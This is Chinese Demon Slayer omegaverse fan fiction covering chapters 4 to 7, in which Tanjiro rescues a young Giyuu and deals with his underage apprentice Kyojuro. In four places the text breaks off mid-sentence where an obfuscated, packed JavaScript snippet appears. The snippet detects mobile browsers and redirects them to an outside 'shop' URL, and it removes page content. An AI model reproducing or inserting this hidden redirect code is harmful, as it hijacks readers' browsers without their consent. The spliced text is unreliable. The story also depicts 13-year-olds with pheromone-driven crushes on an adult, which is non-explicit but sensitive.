炼狱杏寿郎:“师父是担心我的年纪太小还不能成为一介剑士吗!不用担心!我已经学会了所有的炎之呼吸,也已经通过了最终选拔!我绝对可以帮上师父的忙的!” 炭治郎看着少年自信满满的脸,最终还是败下阵来。 ……之后还是去找槙寿郎先生说一下吧。 再怎么说,也不能让十二岁的孩子成为鬼杀队的队员,太小了。 就在这时,炭治郎怀里的少年发出了一声难受的哼声。 炭治郎低头看去,旁边的茑子也一脸担忧。 她伸出手,想要摸摸弟弟的头,却又被对方滚烫的额头给惊得收回了手。 炭治郎问:“怎么了吗?” 茑子眼角含泪,啜泣着说:“我的弟弟在发烧……他会不会死?” 死…… 炭治郎也不知道。 他的鼻腔里充满了女性悲伤和恐惧的气味。 如果这个少年死了,这位女性一定会很伤心的吧? 他们一定是相依为命,相互扶持着长大的家人。 这样也太残酷了。 炭治郎望了望怀里的少年,又看了一眼女性,做下了决定。 他将怀里的少年又抱得紧了一些,小心地把他的头按在了自己的肩窝上,然后对杏寿郎说:“抱歉,杏寿郎,你能陪这位女士一起去医院吗?我要先走一步!” “知道了!师父!” “多谢了。”炭治郎回头望着那位女性,脸上露出了一个柔和的笑容,“你的弟弟一定会没有关系的,我向你保证。” 说完,他便直接从还在前行的人力拉车上跳了下去,抱着怀里的孩子,用自己最快的速度着前方奔跑起来。 茑子愣愣地望着炭治郎飞速远去的背影,一时间竟然忘记了哭泣。 “他……他真的可以救下我的弟弟吗?”茑子问道。 炼狱杏寿郎的眼睛锁在炭治郎的身上,瞳孔中满满的都是自豪,“当然可以!我的师父可是最强大的剑士!” - 炭治郎抱着怀里的少年冲到医院里。 “您好,我帮您登记一下,请问这个少年的姓名是什么?性别是什么?”前台的护士问道。 炭治郎愣了一下。 这个孩子叫什么……?他不知道啊! 看着炭治郎这幅呆滞的表情,她把已经打开的登记本又关了上,抱歉的说:“很抱歉,如果想要登记治疗的话是一定需要知道姓名和性别的。” 啊? 去医院要知道名字的吗? 他没去过啊! 而且为什么还要知道性别? 这个少年是男孩子不是一眼就能看出来吗! 炭治郎不理解。 炭治郎不明白。 他低头看了一眼,怀里少年的呼吸已经变得十分细微,心跳也似乎有些迟缓,浑身上下都充满了死亡的气味。 这样下去不行,他会死的。 “抱歉!可以通融一下吗?这个孩子如果不进行救治的话可能会死!”炭治郎急切的说。 护士为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048788|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难的摇了摇头,“不行的,这是规定。” 被请出了医院的炭治郎一脸懵逼的站在门口。 要怎么办? 现在如果去找藤之家的话还来得及吗? 东京府的藤之家又在哪里来着…… 炭治郎急得额头冒汗。 不管了! 他要再进医院一次试试!万一呢! 这么想着,炭治郎横下了心,抱着少年就要再次朝着医院里走去。 “炭治郎,稍等一下。” 一个熟悉的女声在身后响起。 炭治郎转头,看到了珠世和愈史郎。 珠世看着他,“炭治郎,你怀里的少年是……?” 炭治郎愣了一下,随即像是抓住了救命稻草。 对啊,珠世小姐是医生,她一定可以…… 他迈开几步,飞快地走到了珠世的面前,望着已经比自己矮了的珠世小姐,急切地说:“珠世小姐!可以救一下这个孩子吗?他被鬼伤害了!” 愈史郎挤到了两个人中间,没好气地说道:“离珠世小姐远一点啊!不要得寸进尺,就算你是个Omega也不可以!” Omega是什么? 这个问题只在炭治郎的脑中一闪而过,现在并不是关注这种事情的时候。 珠世没有理会愈史郎,她伸手探了探炭治郎怀中少年的脉搏和伤势,脸色凝重起来。 她点了点头,对炭治郎说:“你跟我来……快一点,他的情况很危险。” 炭治郎的脸色亮了起来,“好!十分感谢您!” 炭治郎跟着珠世回到了她的家。 珠世对少年进行了急救,炭治郎和愈史郎并肩坐在外面的走廊上。 当珠世拉开门走出来时,炭治郎站了起来,紧张地问道:“他怎么样了?” 珠世对着他点了点头,脸上露出了一个温和的笑容:“已经脱离危险期了。他的身体很好,还是一个等级很高的Alpha,这真是万幸。一般人的话可能在头被砸到墙上之后就已经去世了。” 炭治郎长长地松了一口气。 等等,Alpha是什么?怎么又是一个自己没听过的词。 旁边的愈史郎却没好气地开口了:“你怎么总是能带一些乱七八糟的伤员来?你给我听着,珠世小姐只是心地善良而已,你要对珠世小姐心存感激!知道了吗!” “是的!我知道了!”炭治郎立刻应道。 “愈史郎,”珠世制止了愈史郎,“不要对炭治郎这么无理。炭治郎能够找我们帮助,我很开心,这也能让我赎更多的罪。” 愈史郎“啧”了一声,扭头不说话。 珠世转向炭治郎,“炭治郎,这个孩子你是要留在我这里,还是打算带走?” 留在这里的话,可能会得到更好的照顾,但是这个孩子的姐姐还在等他。 还是带走吧…… “我可以把他带走吗?”炭治郎问。 珠世点了点头:“可以的,他的情况已经稳定了,你现在就可以带他走。” 炭治郎连声道谢,小心翼翼地把少年抱了起来。 等到他告别了珠世和愈史郎,出了门。 啊,忘记问Omega和Alpha到底是什么了。 ……算了,应该不是什么重要的东西吧。 5. 第 5 章 阳光暖暖地照在富冈义勇的身上,他缓缓睁开了双眼。 头还在隐隐作痛,眼前的景物也有些模糊。 自己这是怎么了……这里是什么地方……? “你醒了啊,真是太好了。”一个温柔的男声在床边响起。 富冈义勇扭过头,努力眨了几次眼,才终于看清了坐在自己床边的男性。 晨光透过窗棂,将房间里的一切都染上了一层柔和的金色。 那个男人的暗红色长发在光线下泛着一层温暖的边缘,柔和的目光像是盛满了初升的太阳,脸上带着一丝浅淡的笑意。 很漂亮,也很温暖。 让人安心。 他伸出手,在富冈义勇的头上轻柔地揉了揉,“你做得很好。如果不是你的话,你的姐姐可能已经死了。你是一个很坚强的男孩子。” 随着男人的话语,混乱的记忆逐渐回笼。 富冈义勇的眼睛睁大了一些,他急切地开口:“我的姐姐……” 一开口,喉咙就干得像是被砂纸磨过一样,又疼又涩。 床头的男人连忙将他扶了起来,端过一杯水,小心地喂他喝了进去。 清凉的水滋润了喉咙,终于舒服了一些。 他虚弱地靠在男人的怀里。 这个男人好像是一个Omega,他的身上隐约散发出一股好闻的气味……好像是他的信息素的味道。 富冈义勇闭上了眼睛。 就像是阳光晒在干草上时散发出来的味道一样,和他的人一样,干净,又温暖。 “你是不是还有哪里不舒服?我现在去喊人过来。”男人说着,扶着富冈义勇的身体,想要让他躺回床上。 富冈义勇却伸出了手,紧紧拽住了那个男人的袖子,“不要走。” 这话说完了之后他还觉得自己有点丢人。 明明已经十三岁了,还是一个Alpha,怎么能和比自己年长的Omega撒娇。 但是…… 他把脸在男性的怀里蹭了蹭,本能地为自己找了个更舒服的位置。 那个抱着他的男人没有推开他,他的头顶传来了一声轻微的叹息,然后,就有一只温暖的手在他的头顶上轻缓地抚摸着。 不想放开。 他好喜欢这个人。 只是撒娇一次而已,应该没有关系的吧。 迷迷糊糊的,富冈义勇又睡了过去。 等他再一次醒来的时候,已经是晚上了。 他撑着身体坐起来,愣愣地看了一圈房间,那个有着温暖气味的男性已经不在了。 只有自己的姐姐坐在他的床边。 “义勇,你醒了真的太好了!我好担心你!”茑子一把将富冈义勇紧紧抱入了怀里,温热的眼泪很快打湿了他肩膀上的衣服。 义勇有些笨拙地在姐姐的背上轻轻拍了拍,小声说:“姐姐,不要担心……我没有关系的。” 茑子没有说话,只是抱着他,过了好一会儿,她的情绪才慢慢平复下来。 义勇问:“姐姐,那个救了我们的剑士呢?他在哪里?” 茑子松开他,擦了擦眼泪说:“你说的是灶门先生吗?他去吃饭了,说待会儿回来……你的身上还有哪里不舒服吗?” 义勇活动了一下自己的身体,摇了摇头:“我已经没有关系了,姐姐,不要担心。” 茑子柔声问:“饿不饿?要不要吃点什么?” 义勇摸了一下自己的肚子,确实空空如也。 他昏迷了可能有一天的时间…… 也有可能更长,饿是很正常的事情。 诶,等等? 自己昏迷了多久? 茑子在旁边继续问:“你有没有什么想吃的?我去帮你买一点回来。” 义勇没有回答她,而是连忙抬起了头,惊慌道:“姐姐,你的婚礼怎么样了?” 茑子愣了一下,随后脸上泛起一丝红晕,笑着说:“不用担心我的婚礼,我已经和那个人说过了我们的事情,他也说愿意再等我一段时间。” 义勇松了一口气,“这样的话,真的太好了。” 就在这时,门外传来了敲门的声音。 茑子扬声说:“请进!” 门被从外面拉开,义勇的眼睛在看到进来的人后瞬间就亮了起来。 是灶门先生! 灶门先生的身后还跟着几个端着餐盘的人。 他们将餐盘放到了床边的桌子上就退了出去。 和那些人道了谢后,灶门先生对着房间里的义勇笑了一下,说:“看来你已经醒过来了,真的太好了。我本来还担心让藤之家的人帮忙准备吃的,万一你还没醒,这些食物该怎么办呢,没想到这么巧。” 富冈义勇的心脏跳得快了几拍,他的眼睛亮晶晶的,张开嘴,小声说:“谢谢……” “没有关系!师父!多余的吃的可以让我吃完!” 富冈义勇的话被另外一个洪亮的少年声音打断。 他愣了一下,这才发现灶门先生的身后还跟着一个和他年岁看起来差不多的少年。 少年有着金黄色的头发,发梢是红色,是个Alpha,那双金红色的瞳孔在说话的时候一直牢牢地盯在灶门先生的身上。 可能是察觉到了富冈义勇的视线,他转过了头,对着富冈义勇点了点头,“你好!我叫炼狱杏寿郎,这是我的师父,灶门炭治郎!” 富冈义勇看着灶门先生叹了一口气,脸上的表情有些为难:“炼狱先生,你……” “师父!请喊我杏寿郎!”炼狱杏寿郎打断他。 灶门先生无奈地喊了一声:“杏寿郎。” 那个叫炼狱杏寿郎的家伙脸上绽放出了一个灿烂的笑容。 富冈义勇的手在被子里无意识地攥紧了。 炭治郎走到床边,低头伸手摸了摸黑发少年的额头,顿时松了一口气。 珠世小姐真的很厉害,本来濒临死亡的少年却只是一天的时间就恢复成了现在这样。 就连烧已经完全退了。 茑子在一旁担心的问:“灶门先生,我弟弟的伤严重吗?” “没有事,”炭治郎摇了摇头,“伤口已经止住血了,烧也已经全退了。你们再休息一个晚上,明天就能回家了。” 其实现在已经可以了。 但是夜路不安全,还是第二天再让他们回去比较好。 茑子也松了一口气,脸上露出了由衷的笑容:“真的太好了……没有想到在婚礼的前一天会发生这种事情。” 炭治郎笑了一下,“你的弟弟也很努力,他保护了你。” 茑子点了点头,脸颊有些微红,带了些羞涩:“是这样的……我也很丢人,明明是一个成年人,还要自己年幼的弟弟保护。” “不是这样的,”炭治郎反驳道,“您也保护了您的弟弟。如果不是您的话,鬼第一时间进来的时候,可能就会杀了你们其中的一个人。是您成功地拖延了时间!您也是很伟大的人!” 被这样直白的夸奖,茑子的脸“腾”地一下红透了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048789|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “师父!我们走吧!”炼狱杏寿郎在门口催促道,“你答应了晚上还要锻炼我的!” 炭治郎回过头,脸上写满了不赞同,“杏寿郎,你已经锻炼了一天了,这样不行,晚上得要好好休息才对。” “这样可不行!”炼狱杏寿郎反驳,“我要抓紧时间,成为新的炎柱才可以!” 炭治郎望着这个身高才到自己腰部的少年,脸上挣扎了半天,终于还是没有忍住,伸出手在他头顶揉了一大把,把杏寿郎那一头精神的头发都给揉乱了。 炼狱杏寿郎的脸上出现了几分符合年纪的错愕:“师父???” “不要给自己太大的压力,”炭治郎温和地蹲下了身,平视着炼狱杏寿郎,“你已经是我的徒弟了,是吧?那就听我的来。” 炼狱杏寿郎望着炭治郎,过了一会儿,像是泄了气的皮球一样,“……我知道了。” 炭治郎满意的站了起身,“待会儿我带你去夜市,买一些小吃,好吗?” “好的!” 啊……年轻的炼狱先生真的很可爱。 和自己的弟弟一样。 又好哄又直率。 炭治郎又看了一眼床边,那位姐姐已经开始小口地喂床上的少年吃饭了。 真的太好了,自己来得很及时,没有酿成悲剧。 “那我们就先走了。”他说着转过身,准备离开。 然而刚一转身,自己的袖子就被人从后面抓住了。 炭治郎疑惑地回头,只见那个黑发的少年不知何时已经从被子里爬了出来,跪在床上,紧紧地抓着他的袖子。 “有什么事情吗?”炭治郎疑惑。 少年仰着头,一双深蓝色的眼睛看着他,问道:“你……你是专门猎杀那种怪物的人吗?” 炭治郎想了想,这么说好像也没有错,便回答:“是的,准确地说,我们是猎鬼人。” 少年抓着他袖子的手更紧了,他说道:“我想要跟你走……我也想成为猎鬼人!” 炭治郎:“诶?” 这个孩子是觉得猎鬼人很帅气吗? 他解释:“猎鬼人不是什么轻松的工作,也不是什么光鲜的职业。而且很累,很艰辛,需要付出比常人更多的努力……” 他说着,望了一眼少年旁边的姐姐。 “鬼杀队的成员,大多数是亲人被鬼杀死了,为了报仇,才加入鬼杀队的。但是你……”没有必要。 “不,我想去!”少年打断了他的话。 炭治郎无奈地看着他。 他鼻腔里能闻到从少年身上散发出来的认真的气味。 而且现在鬼杀队也确实缺少新人。 但……真的好吗? 他还是孩子,还有自己的家人。 炭治郎将目光转向床边那位一直沉默着的女性,征求她的意见:“可以吗?” 茑子迟疑了一下,她看着自己的弟弟,眼神里充满了不舍。 但最终,她还是缓缓点了点头,“我尊重我弟弟的选择……我也希望,我的弟弟可以帮上忙。” 少年的眼睛亮了起来,像是黑夜里点燃的星辰。 炭治郎心中最后一点劝说的念头也消散了。 他叹了口气,对少年说:“你叫什么名字?” 少年:“我叫富冈义勇!” 炭治郎:“………………诶?” 谁? 叫什么? 他听错了吧? 啊? 啊?????????? 6. 第 6 章 炭治郎坐在回去的火车上,他的对面坐着两个人。 一个是十二岁的炼狱杏寿郎,一个是十三岁的富冈义勇。 一个身高坐在椅子上都碰不到地,另外一个勉强能碰到地。 炭治郎闭上了双眼,希望眼前的一切都只是自己的幻觉。 这个世界到底是怎么回事啊! 炼狱先生才十二岁,义勇先生也才十三岁…… 我多少岁了? 哦,善逸说过祢豆子十六岁,那我就是十七岁。 我的身高好像比以前高了不少,太好了,看来不需要担心身体发育会不会不良的问题了…… 不对!这不是重点! “师父!等回去了之后我们是要先去给富冈找一个培育师吗?”炼狱杏寿郎问道。 炭治郎摇了摇头,“不……这个之后再说,我们先去一下你家。” 炼狱杏寿郎的身体几不可闻的僵了一下,他坐直了身体:“师父是想要找我的父亲询问我的身体情况,给我制定训练吗!不需要那么麻烦!师父只要给我最大强度的训练就可以了!” “不是,”炭治郎说,“我是去问一下槙寿郎先生,怎么能让十二岁的孩子就成为鬼杀队的正式队员。” 他说这话的时候揉了揉自己的太阳穴,没有看到炼狱杏寿郎整个人都紧张得快要冒汗了。 坐在炼狱杏寿郎旁边的富冈义勇看到了,他转头,“你在紧张什么?” “没有!我什么都没有紧张!哈哈!”炼狱杏寿郎大声地笑了起来。 炭治郎的鼻子动了动,疑惑地问:“杏寿郎,你的身上怎么有一股说谎的味道?” “什么都没有!”炼狱杏寿郎的声音更大了。 炭治郎狐疑地望着他。 - 等下了火车后,炭治郎让炼狱杏寿郎先回家,自己则把富冈义勇带回了自己的家。 日柱府邸和炭治郎记忆中见过的柱的府邸都是相同的规模……简单来说就是很大。 炭治郎来到这个世界的第一天晚上,差点因为房子太大而失眠了,最后还是抱着被子钻进了衣柜里才勉强睡了过去。 第二天,他就给自己找了个最小的房间睡觉了。 富冈义勇拽着炭治郎羽织的袖子,有些拘谨地问:“这里是灶门先生的家吗?” 炭治郎笑着说:“我住在这里。” 他没有说是家。 在他的心里,果然还是有家人的地方才算是家。 蹲下身,炭治郎和富冈义勇平视,“义勇,你可以在这里等我回来吗?我稍微有一些事情要去做。” 富冈义勇有些羞涩地点了点头,小声说:“灶门先生,一路顺风。” 炭治郎望着眼前乖巧的富冈义勇,心软成了一片。 好可爱,就像六太一样可爱! 他没忍住,上前抱了一下富冈义勇,说:“那我出门了,很快就回来。” 抱住富冈义勇的时候,炭治郎闻到了他身上有一股像是海水的味道。 不是鱼腥,也不是海水的那种咸味,更像是站在海边时,风里带来的那种清冽又辽阔的气息。 他眨了眨眼,松开手,看着少年:“义勇。” 富冈义勇紧张地应道:“在!” 炭治郎好奇地问:“你的身上为什么会有海水的味道?” 富冈义勇呆愣地眨了眨眼。 在反应过来炭治郎说的是什么后,他的整张脸以肉眼可见的速度变得通红,连连摆手:“对、对对对不起灶门先生!!!!我不是故意的!!!!” 炭治郎疑惑。 可能是不小心弄脏了衣服吧? 或者是鱼的味道? 义勇先生就算现在还是个孩子,那也已经十三岁了。 会觉得害羞是正常的。 他这么想着,温和地说:“你去洗个澡吧,我会找隐的成员帮忙准备的。” 富冈义勇羞愧的想钻到地缝里:“……我知道了。” 炭治郎走后,富冈义勇一个人站在玄关,许久都没有动。 过了好一会儿,他才像是再也支撑不住一样,捂着脸,缓缓蹲在了地上,喉咙里发出了痛苦的哀嚎。 好丢人,好想找个洞钻进去。 自己怎么能被灶门先生抱一下就控制不住地释放出信息素了? 自己到底在干什么…… 灶门先生可是救了自己和姐姐的人啊!!! 富冈义勇越想越觉得羞耻,一股热气从脖子冲上头顶,他抬起头,“哐”的一下把额头撞到了旁边的墙上。 “喂!!你这个小孩做什么呢!!!想自杀的话也不要在炭治郎的家里自杀啊!!” 一个响亮的男性声音在门口响起。 富冈义勇呆愣着往外望去,门口不知何时站着一个穿着金色羽织的高大的男人。 他金色的长发扎成了马尾束在脑后…… 是和灶门先生一样的发型。 那个男人没好气地对着义勇问:“炭治郎人呢?” 富冈义勇:“啊……灶门先生去炼狱先生的家了。” 那个高大的男人听完,立刻像是换了个人一样,双手捧着脸颊发出了尖叫声:“什么???骗人!炭治郎回来之后竟然没有先来找我吗!我都和炭治郎分开了三天了!他竟然不想我!竟然不是第一个来找我的!” 他一边叫着,一边做出心痛的样子:“啊,我的心好疼啊,它都碎成一片一片的了,得要炭治郎的摸摸才能粘起来。” 富冈义勇:“?” 这个男人是怎么回事? 明明是一个Alpha,周身的气场很有压迫感,现在哭起来却像一个深闺弃夫。 这是灶门先生的恋人吗? 这么想着,富冈义勇的心中涌上一丝说不清的失落。 灶门先生那么温柔又好看的人,肯定有很多人的喜欢,有恋人才是对的…… 男人哭了一阵子之后,又突然不哭了,他看着义勇,问:“说起来,你是谁啊?” 富冈义勇:“我叫富冈义勇,被灶门先生救了。我想加入鬼杀队,成为猎鬼人。” 男人“诶?”了一声:“炭治郎竟然真的会愿意带人来吗?啊,我叫我妻善逸,是鬼杀队的鸣柱,也是炭治郎的朋友。” 富冈义勇重复道:“是……朋友吗?” 善逸点了点头,理直气壮没有任何一丝不好意思的说,“对,是朋友…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048790|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过我想要当炭治郎的丈夫啦,被他拒绝了好多次了而已。可恶,我迟早会成为炭治郎的丈夫的!” 富冈义勇刚刚变得死寂的心脏,又重新开始了跳动。 太好了,灶门先生没有恋人! 因为雀跃,他甚至没发觉自己的嘴角向上弯了起来,露出一个微笑。 但下一秒,他脸上的笑容僵住了。 自己怎么能因为灶门先生没有恋人就那么开心? 这样是不对的! - 炭治郎坐在炼狱府邸的会客厅里,炼狱槙寿郎曲着一条腿,大咧咧地坐在他的对面:“你来这里干嘛?” 炭治郎挺直了背,认真地喊了一声:“炼狱先生!” 炼狱槙寿郎“啊?”了一声,似乎没反应过来。 “杏寿郎再怎么努力!再怎么强大!再怎么认真!你也不应该让他现在就进入鬼杀队啊!他才十二岁啊!” 炼狱槙寿郎:“不是,你是不是对我的傻儿子有什么奇怪的滤镜,你说的是我那个傻儿子吗?” “您在说什么啊!”炭治郎反驳,“杏寿郎就是这样的人啊!他上进,有责任心,正直,勇敢,吃的也多,吃的也香,这不是一个很完美的孩子吗!” 炼狱槙寿郎:“……” 吃的也多和吃的也香全是优点吗? 而且不会很吵吗? 每次吃饭都在说好吃。 就在这时,纸门被拉开,瑠火端着两杯茶走了进来:“炭治郎对杏寿郎的评价很高,不是很好吗?” 炼狱槙寿郎连忙站了起来,快步上前接过妻子手上的盘子:“瑠火,这种事情不需要你来做,你好好休息……” 瑠火:“我的身体已经好很多了,适当的活动对我的恢复也有好处。” 炼狱槙寿郎皱着眉头,显然不怎么苟同,但没有再多说什么。 炭治郎望着瑠火。 这还是他第一次见到炼狱先生的母亲。 她一个有着黑色柔顺长发,气质凌厉的女性。即使脸上还有一些病容,但看起来精神很好。 这就是炼狱先生的母亲吗…… 炭治郎想着,脸上不自觉地露出了笑容。 真的太好了,炼狱槙寿郎先生不用再体验失去妻子的伤痛,杏寿郎和千寿郎也没有失去母亲的痛苦。 瑠火注意到了他的目光,对他微笑着说:“炭治郎,谢谢你。” 炭治郎有些疑惑:“因为什么?” 瑠火说:“你向我们推荐了珠世小姐,如果不是珠世小姐的话,我可能就死去了。” 炭治郎连忙摆手,说:“不用谢的。” 炼狱槙寿郎:瑠火,不要和这个小鬼这么认真的道谢!你知道他非要让我退出鬼杀队的时候对我做了什么吗?” 炭治郎疑惑:? 瑠火面无表情:? 做了什么? “他给我来了一个结结实实的头槌啊!!!我的头都鼓了一个大包,好久才消!!!这样的暴力O……” “槙寿郎。”瑠火打断了丈夫的话。 “是你的错。” 炼狱槙寿郎:“……不是,瑠火?” 瑠火重复:“是你的错。” 7. 第 7 章 炼狱槙寿郎带了一丝受伤和控诉的望着自己的妻子。 炭治郎觉得自己的良心有点疼。 虽然瑠火夫人维护着他,但是追根究底,确实应该是他这个给了槙寿郎先生一头槌的人的错…… ……虽然不是他自己。 不,也是他。 这个世界的他也是他。 他不应该逃避责任! 闭上眼睛,炭治郎双手撑在地上,在原地做了一个标准的土下座,大声说:“对不起!!” 瑠火走上前,轻轻扶起了炭治郎的头,“不要道歉,你没有错。” 炭治郎望着瑠火。 她的脸上没有什么表情,看起来有些严肃,但炭治郎的鼻腔里能闻到她身上散发出的,如同春日暖阳般温柔的味道。 他的脸上泛起了红晕。 瑠火夫人是一个很温柔的人啊! 而且这个世界的瑠火夫人没有去世,炼狱槙寿郎先生也没有颓废到再也站不起来,这样的话,炼狱先生就不需要一个人背负起整个家。 真的是太好了! 这么想着,炭治郎笑了起来。 他的五官不算出彩,只能算得上清秀,但他这么一笑,整个人却像是会发光一样,莹莹生辉。 炼狱杏寿郎拉开纸门的时候,看到的就是这么笑着的炭治郎。 他的眼睛眨都不眨地凝固在炭治郎的身上。 猛然之间,他转头朝着外面跑去,又飞快地跑了回来。 “师父!看这边!!” 炭治郎闻声转过了头,一阵刺眼的闪光亮在了他的面前。 他吓了一大跳,眼睛都瞪圆了,腰上的日轮刀也下意识地拔了出来。 “是鬼的血鬼术吗!炼狱先生!瑠火夫人!小心!” 他做出了遇袭反应后,却发现房间中除了他以外没有一个人动弹。 这是为什么……? 疑惑的望着他们,炭治郎却发现所有的人都用奇怪的眼神望着他。 一丝不祥的预感涌了上来,炭治郎转头望向了那个刚刚发出了耀眼白光的东西。 那是炼狱杏寿郎手上拿着的一个怪里怪气的黑色盒子…… 虽然不知道是什么,但既然会被炼狱先生拿在手上的话应该不是什么坏东西。 炭治郎没有说话。 他安静地把剑收回了鞘里。 他安静地正坐回了榻榻米上。 然后他安静地将自己蜷缩成了一团。 他是一个丢人的长男。 如果可以,他现在想要变成草履虫。 过了半晌,炼狱槙寿郎突然发出了“噗”的一声,然后爆发出大笑,笑得整个人都趴在了地上,用力拍着榻榻米,嘲笑道:“灶门,你没见过照相机吗?” 炭治郎把头埋得更深了一点。 杏寿郎的眼睛却更亮了。 虽然笑着的师父很棒,但是害羞的师父也好棒! 他几大步走了过来,手上还捧着那个盒子,兴奋地说:“师父!可以把头抬起来吗!我还想要再拍一张照片!” 炭治郎听不懂杏寿郎说的“照片”是什么,他的双手紧紧捂着自己滚烫的脸颊,说什么也不愿意抬头。 “师父!就一张!拜托你了!一张就够了!”杏寿郎还在恳求。 “哈哈哈哈哈哈哈!!就你这样还是日之呼吸的使用者!丢人不丢人!”槙寿郎的嘲笑声更大了。 “师父!!!!” “丢人!!!!” “咳咳。” 瑠火轻轻的咳嗽声,让杏寿郎和槙寿郎在一瞬间都闭上了嘴。 槙寿郎坐直身体,有些局促地说:“瑠火,我这是……” 瑠火看着他,平静地说:“槙寿郎先生,请有家主的风范。” 槙寿郎正坐低头:“对不起。” 瑠火又望向了杏寿郎,“杏寿郎,请和炭治郎介绍什么是照相机。” 杏寿郎站得笔直:“好的!我知道了!母亲!” 在炼狱杏寿郎的一番解释之后,炭治郎终于知道了照相机是个什么东西。 他完全没有想到,现在竟然已经有了能把人的样貌留在纸上的技巧。 炭治郎小心翼翼地摸了摸那个黑色的盒子,感叹道:“真好啊。” 如果他也有一个照相机的话,就能给祢豆子拍很多的照片了。 也能给爸爸妈妈,竹雄,六太,花子他们拍照片了。 啊,还有善逸伊之助和香奈乎等等人。 “师父也想要吗!我可以帮师父买一个!” 炭治郎连忙摇头:“不行吧?应该很贵的。” 槙寿郎在一旁开口道:“那倒不至于。你的工资挺高的,平时用的也不多,买一个照相机还是很轻松的。” 他补充,“拍了照片后需要洗照片的话就交给杏寿郎就可以了,这小子还没通过最终选拔,现在跟在你的身边也就是给你打打杂而已,等过几年,他的身体稳定了再让他正式加入鬼杀队。” 炭治郎:“?” 杏寿郎:“!” 炭治郎缓慢地将头转向了杏寿郎,杏寿郎转开了头,假装看旁边的盆栽。 炭治郎:“杏寿郎君……?” 杏寿郎还是没有把头转回来。 槙寿郎看着他们俩,问道:“怎么了?” 炭治郎说:“没什么……炼狱先生,杏寿郎没有参加过最终选拔是吗?” 槙寿郎点了点头,理所当然地说:“对,他的队服是我的改小的,日轮刀也是我的……可能都大了一些,不过不参加战斗的话应该不是什么特别重要的问题。” 炭治郎的脸上露出了微笑。 杏寿郎毫无预兆的突然站起来:“我去看看千寿郎睡着了没!”说着就要往外走。 炭治郎伸出手,一把握住了杏寿郎的手腕,让他动弹不得。 察觉到了不对的槙寿郎和瑠火面面相觑。 瑠火开口问:“杏寿郎是做了什么不该做的事情吗?” 槙寿郎:“难不成他把你标——嗷!” 瑠火一记手肘顶在了槙寿郎的腹部,横了一眼自己的丈夫。 这种事情和X骚扰有什么区别!这是能随便开的玩笑吗! 标什么……? 炭治郎听不懂。 他本来想问,但是现在有更重要的事情要说。 “槙寿郎先生,杏寿郎应该是瞒着你参加过了最终选拔。他现在,已经是一名鬼杀队的队员了。” “他有一套崭新的鬼杀队队服,刀也是按着他的身高定做的。” 槙寿郎:“?” 瑠火:“?” 已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048791|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经被师父彻底捅破了窗户纸的炼狱杏寿郎,尴尬地摸着自己的后脑勺,哈哈大笑起来:“哈哈!父亲!我以十二岁的年纪通过了鬼杀队的最终选拔!现在是鬼杀队最年轻的队员!” 槙寿郎没有表情缓缓地站了起来。 瑠火:“等等。” 槙寿郎停下脚步:“夫人,你不能再惯着这小子了。” 瑠火从角落里拿起一个鸡毛掸子,递给了他,“用这个打。” 槙寿郎愣了一下,把鸡毛掸子拿在了手上。 炼狱杏寿郎见状,大喊了一声:“师父!” 炭治郎本来想说体罚孩子不好,但瑠火对着他深深地鞠了一躬,“灶门先生,接下来是我们的家务事,可以请您暂且回避吗?” 炭治郎:“……” 灶门先生…… 都换上这个称呼了,自己是真的没办法帮忙了。 抱歉,炼狱先生! 见师父指望不上,炼狱杏寿郎满头大汗。 他一转头就冲了出去,嘴巴里还喊着:“师父!我们下次再见!” “臭小子你别跑!!!!!” - 炭治郎走在回家的路上,心里还在想着炼狱家的事。 虽然杏寿郎成为鬼杀队队员的事情已经没有办法逆转了,但是最起码,他在被父母教训了以后,应该会尽量少将自己置于危险的境地吧。 他这么想着,拉开了自家府邸的推门。 一进门,他就看到富冈义勇还坐在门口的玄关处。 少年小小的身体紧紧贴着旁边的鞋柜,头一点一点的,看起来已经睡着了。 炭治郎连忙走了过去,放轻了脚步,蹲下身子轻声喊:“义勇!醒一醒。” 他伸出手,轻轻摇了摇义勇的肩膀。 